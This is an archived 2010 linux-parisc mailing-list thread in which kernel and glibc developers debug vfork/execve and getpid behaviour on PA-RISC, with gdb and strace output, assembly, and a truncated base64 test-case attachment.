	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 20:00:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nvwmw-0007wO-Dn
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 20:00:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754853Ab0C1SAl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 14:00:41 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2303 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754848Ab0C1SAl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 14:00:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 80F1E5145; Sun, 28 Mar 2010 14:00:39 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003281026u3705723fj9446637943451a4e@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2717>

On Sun, 28 Mar 2010, Carlos O'Donell wrote:

> Broken how?

See other mail.

> A small note about getpid():
> 
> Since the parent and child share the same memory space, the parent
> temporarily negates the cached PID value just before the vfork. Only
> the parent, after the vfork, restores the cached PID. This is on
> purpose to prevent any functions like PID-related functions from
> working in the child() during the window bewteen vfork and execve.

Ok, it might be glibc that's broken (i.e., it doesn't restore correct
dave).

> The printf call in the child path is ABSOLUTELY wrong, but I wanted to
> see what the return was. You could equally well insert:
> 
> #define ABORT_INSTRUCTION asm ("iitlbp %r0,(%sr0, %r0)")

Tried that and it didn't trigger.

> > My guess would be that the parent is not blocked leading to corruption.
> 
> What I see is that the child is returning from the kernel execve, and
> continuing to execute.

Hmmm, I'm not seeing that, but I do have the patch installed that
reloads %r16 after calling schedule.  %r16 isn't clobbered by the
call but I believe %cr30 can change.  As a result, we may run a task
with the wrong registers with the current code.

See <http://article.gmane.org/gmane.linux.ports.parisc/2687>.

> If I use ABORT_INSTRUCTION in the child right after the execve I see this:

Already tried this.

> carlos@firin:~/fsrc/vforkfailure/test$ ./vfork
> Illegal instruction
> carlos@firin:~/fsrc/vforkfailure/test$ In child 28734
> 
> This makes *no* sense.
> 
> What I don't understand is this:
> 
> * vfork'd child shares memory space with parent, therefore space id
> has to be the same?

Sounds right.

> * Does execve give the process a new space id or does it simply
> overwrite the entire process image?
> 
> So I had the test case try to exec a binary that just calls ABORT_INSTRUCTION.
> 
> What I noticed is the following:
> 
> carlos@firin:~/fsrc/vforkfailure/test$ ./vfork
> parent sr3 is 0x3428000
> Illegal instruction
> 
> There are 2 entries in dmesg:
> vfork (pid 28964): Illegal instruction (code 8) at 00000000000106a7
> main (pid 28965): Illegal instruction (code 8) at 00000000000104af
> 
> * The child returning from execve has the same space id as the parent
> e.g. 0x3418000
> * The process run via the execve has a different space id e.g. 0x3418800

That's what I would have expected for execve.

> What is supposed to stop the child, which called execve, from
> returning to the parent?

It's only supposed to happen if there is an error in the execve call.
I think our task scheduling is broken ;(

Could you try my change and see if it helps?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 14:20:25 -0400
Lines: 172
Approved: news@gmane.org
Message-ID: <119aab441003281120y5de6174ey97a1a91b2eb0141a@mail.gmail.com>
References: <20100328154241.GA2782@hiauly1.hia.nrc.ca>
	 <20100328173251.B46255145@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269800438 12032 80.91.229.12 (28 Mar 2010 18:20:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 18:20:38 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 20:20:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nvx64-0004Wb-Aj
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 20:20:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754926Ab0C1SU1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 14:20:27 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:34132 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754901Ab0C1SU0 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 14:20:26 -0400
Original-Received: by wyb39 with SMTP id 39so663895wyb.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 11:20:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=MPLbP2vB7+iVKSCnJq9iWxxvlRxLNdnEVulqER9zqwM=;
        b=JGwhf+xkWJy/6x6/nKnlsl7pp3VP0bu4Xa6aU65+Fai3wd9FVUQe6lmCd2JL2LAGkh
         A9c17M5afLKY5Om9uTd4nERZJF5Sh/L35UOv9Aai2THZVFPr5ZcamN9sn5n7HurkLLWs
         M5kuzTubj4gG6fE7RX5u8HQpT3JzMhX3zDsiY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=Fpoc+Do0baQ05yg/zGFUqs3yniLjyyHo4vUvBb+vz39xYR9BcU1wPkaCoU0j/T5jGF
         n3xZGB7ZZr5EsAdOhl7XPmcTVuPPMPdB3bWe7fE4MIhWRhOSieZFCQ0l/KPXpn8RhIjM
         d6bfeBBGGaPireTYvUue2m5G1Mn/X5coszQ7w=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 11:20:25 -0700 (PDT)
In-Reply-To: <20100328173251.B46255145@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 65adb3d22c74f17c
Original-Received: by 10.216.87.204 with SMTP id y54mr604125wee.193.1269800425095; Sun, 
	28 Mar 2010 11:20:25 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2718>

On Sun, Mar 28, 2010 at 1:32 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> I tried the vfork.c test case on my c3750 with 32-bit kernel. =A0It
>> didn't segv in a limited number of runs. =A0However, I did notice th=
at
>> getpid() is broken after vfork().
>
> The vfork (clone) syscall corrupts (i.e., inserts wrong value)
> the parent tid. =A0In the following, I disabled the printf's and
> execve call in Carlos's testcase. =A0The child just does _exit().

The vfork syscall goes through process.c (sys_vfork) which doesn't
tell the kernel about the parent_tidptr, or child_tidptr (passes NULL
for both).

The kernel shouldn't be touching the parent tid pointer at all.

The vfork wrapper in glibc *does* negate the cached PID value, such
that the child doesn't see a valid PID value until after execve
completes.

> The fast path through getpid is:
>
> Dump of assembler code for function getpid:
> 0x0001ad2c <getpid+0>: =A0stw rp,-14(sp)
> 0x0001ad30 <getpid+4>: =A0mfctl tr3,r20
> 0x0001ad34 <getpid+8>: =A0ldw -414(r20),r19
> 0x0001ad38 <getpid+12>: cmpib,>=3D 0,r19,0x1ad48 <getpid+28>
> 0x0001ad3c <getpid+16>: copy r19,ret0
> 0x0001ad40 <getpid+20>: ldw -14(sp),rp
> 0x0001ad44 <getpid+24>: bv,n r0(rp)
>
> Breakpoint 3, 0x0001ad34 in getpid ()
> (gdb) del 2
> (gdb) p/x $r20
> $6 =3D 0x9a480
>
> Breakpoint 4, main () at vfork.c:17
> 17 =A0 =A0 =A0 =A0child =3D vfork();
> (gdb) x/x 0x9a480 - 0x414
> 0x9a06c: =A0 =A0 =A0 =A00x00000000
> (gdb) c
> Continuing.

This is the PID of the parent, not the TID. They are actually two
different fields.

nptl/descr.h
~~~
  /* Thread ID - which is also a 'is this thread descriptor (and
     therefore stack) used' flag.  */
  pid_t tid;

  /* Process ID - thread group ID in kernel speak.  */
  pid_t pid;
~~~

The PID of all the threads in a process group is the same.

Each thread has a unique TID, which is

During the vfork the parent does this:
~~~
 /* Load thread register. */
 mfctl %cr27, %r26 !
 /* Load cached parent PID. */
 ldw -1044(%r26),%r1 !
 /* Negate it, such that the child runs with
    a negative PID and no functions work until
    the execve. */
 sub %r0,%r1,%r1 !
 /* Store it back. */
 stw %r1,-1044(%r26) !
~~~

> Breakpoint 3, 0x0001ad34 in getpid ()
> (gdb) x/x 0x9a480 - 0x414
> 0x9a06c: =A0 =A0 =A0 =A00x10101364

I don't see how this is the negative of 0x0, it should just be 0x0. I
wonder what changed it.

> Breakpoint 4, main () at vfork.c:17
> 17 =A0 =A0 =A0 =A0child =3D vfork();
> (gdb) x/64x 0x9a040
> 0x9a040: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a050: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a060: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a070: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a080: =A0 =A0 =A0 =A00xc0521150 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
>
> Breakpoint 3, 0x0001ad34 in getpid ()
> (gdb) x/64x 0x9a040
> 0x9a040: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a050: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a060: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x10101364
> 0x9a070: =A0 =A0 =A0 =A00x00000000 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
> 0x9a080: =A0 =A0 =A0 =A00xc03ae150 =A0 =A0 =A00x00000000 =A0 =A0 =A00=
x00000000 =A0 =A0 =A00x00000000
>
> So, the only location changed by vfork is the parent tid.

s/tid/pid/g.

> dave@hiauly6:~$ strace ./vfork
> execve("./vfork", ["./vfork"], [/* 16 vars */]) =3D 0
> newuname({sys=3D"Linux", node=3D"hiauly6", ...}) =3D 0
> brk(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0=3D 0x9a000
> brk(0x9acb4) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D=
 0x9acb4
> brk(0xbbcb4) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D=
 0xbbcb4
> brk(0xbc000) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D=
 0xbc000
> clone(child_stack=3D0, flags=3DCLONE_CHILD_CLEARTID|CLONE_CHILD_SETTI=
D|SIGCHLD, child_tidptr=3D0x9a068) =3D 6212
> fstat64(0x1, 0xc0258a08) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D 0
> mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,=
 0) =3D 0x40000000
> write(1, "parent is 269488996\n", 20parent is 269488996
> ) =A0 =3D 20
> exit_group(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =3D=
 ?
>
> (gdb) p/x 269488996
> $1 =3D 0x10101364
>
> I believe this is the "getpid" implementation:
>
> static inline __attribute__((always_inline)) pid_t
> really_getpid (pid_t oldval)
> {
> =A0if (__builtin_expect (oldval =3D=3D 0, 1))
> =A0 =A0{
> =A0 =A0 =A0pid_t selftid =3D THREAD_GETMEM (THREAD_SELF, tid);
> =A0 =A0 =A0if (__builtin_expect (selftid !=3D 0, 1))
> =A0 =A0 =A0 =A0return selftid;
> =A0 =A0 }
>
> =A0INTERNAL_SYSCALL_DECL (err);
> =A0pid_t result =3D INTERNAL_SYSCALL (getpid, err, 0);
>
> =A0/* We do not set the PID field in the TID here since we might be
> =A0 =A0 called from a signal handler while the thread executes fork. =
=A0*/
> =A0if (oldval =3D=3D 0)
> =A0 =A0THREAD_SETMEM (THREAD_SELF, tid, result);
> =A0return result;
> }
>
> As a side issue, gdb can't single step over mfctl instruction ;(

We'll fix gdb next :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 14:47:35 -0400
Lines: 455
Approved: news@gmane.org
Message-ID: <119aab441003281147n1f65762dv5eddfc21114e51b1@mail.gmail.com>
References: <119aab441003272026o55db5202sd345df270f3b0e1f@mail.gmail.com>
	 <20100328154241.GA2782@hiauly1.hia.nrc.ca>
	 <119aab441003281026u3705723fj9446637943451a4e@mail.gmail.com>
	 <20100328180038.GA3732@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0016e6d7ea6e83075e0482e0d4bc
X-Trace: dough.gmane.org 1269802066 17255 80.91.229.12 (28 Mar 2010 18:47:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 18:47:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 20:47:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvxWN-00039B-Oe
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 20:47:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754995Ab0C1Srj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 14:47:39 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:57969 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754985Ab0C1Sri (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 14:47:38 -0400
Original-Received: by wwe15 with SMTP id 15so7803666wwe.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 11:47:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type;
        bh=EA++cCjUBZ+693liMQCFtJbtGo0ANqaGLAhq+AdmxsY=;
        b=JQnBQc5I9/bBc+AlBKVmeEbGkwIygMRxWh2Tk3m46Gqdssqei+S22JLJh5zMCVwKgB
         RnMVanuDBBQENQRVlrAWH+wd7S09sMS6/+rE9XoD8aDjuuTCg8IsWXFu09R9+7HEA4wi
         O9I2WGm0cUM424vZTC+Y53vsTuuRDHQoPnVmQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=J6ov07nFQLdZCCkgDA4D+88MxI+7HuMPiWsb+zBgpWvBkqhPwLoGr+ReIpnLogrpRs
         v7rr971qVvA3WVMk+xamBgpg1cN3v8ioBfKCIlgoT3YwrdMEFDhJNG0mBpGOY0YEcoh+
         po4rVg7TUY9/mYZnNCIW7qvRI19tOTdvQJT3Q=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 11:47:35 -0700 (PDT)
In-Reply-To: <20100328180038.GA3732@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 745e0fd866e5444c
Original-Received: by 10.216.87.204 with SMTP id y54mr620594wee.193.1269802056482; Sun, 
	28 Mar 2010 11:47:36 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2719
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2719>

--0016e6d7ea6e83075e0482e0d4bc
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

On Sun, Mar 28, 2010 at 2:00 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Ok, it might be glibc that's broken (i.e., it doesn't restore correct
> dave).

I don't think this is broken.

>> The printf call in the child path is ABSOLUTELY wrong, but I wanted to
>> see what the return was. You could equally well insert:
>>
>> #define ABORT_INSTRUCTION asm ("iitlbp %r0,(%sr0, %r0)")
>
> Tried that and it didn't trigger.

OK, your kernel is perhaps fixed?

>> > My guess would be that the parent is not blocked leading to corruption=
.
>>
>> What I see is that the child is returning from the kernel execve, and
>> continuing to execute.
>
> Hmmm, I'm not seeing that, but I do have the patch installed that
> reloads %r16 after calling schedule. =A0%r16 isn't clobbered by the
> call but I believe %cr30 can change. =A0As a result, we may run a task
> with the wrong registers with the current code.

When schedule returns you are either still in the current process, or
have switched to another process via arch/parisc/kernel/entry.S
(_switch_to), so yes %cr30 will have been changed and must be reloaded
(kernel threads IIUC don't have their own register state, you are
simply just switching %cr30 around and reloading the appropriate
pt_regs).

Where are the new space ids loaded into the space registers for the new pro=
cess?

> See <http://article.gmane.org/gmane.linux.ports.parisc/2687>.

Applied.

> It's only supposed to happen if there is an error in the execve call.
> I think our task scheduling is broken ;(
>
> Could you try my change and see if it helps?

It doesn't help.

Just so we are on the same page, please find attached vforktest.tgz.
Unpack it.
Run ./build.sh
Run ./vfork

What are the results on your machine?

I'm running a 64-bit kernel 2.6.32 (kyle's tree) SMP two PA8700's at 650MHz=
.

Cheers,
Carlos.

--0016e6d7ea6e83075e0482e0d4bc
Content-Type: application/x-gzip; name="vforktest.tgz"
Content-Disposition: attachment; filename="vforktest.tgz"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g7c79r3u0

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
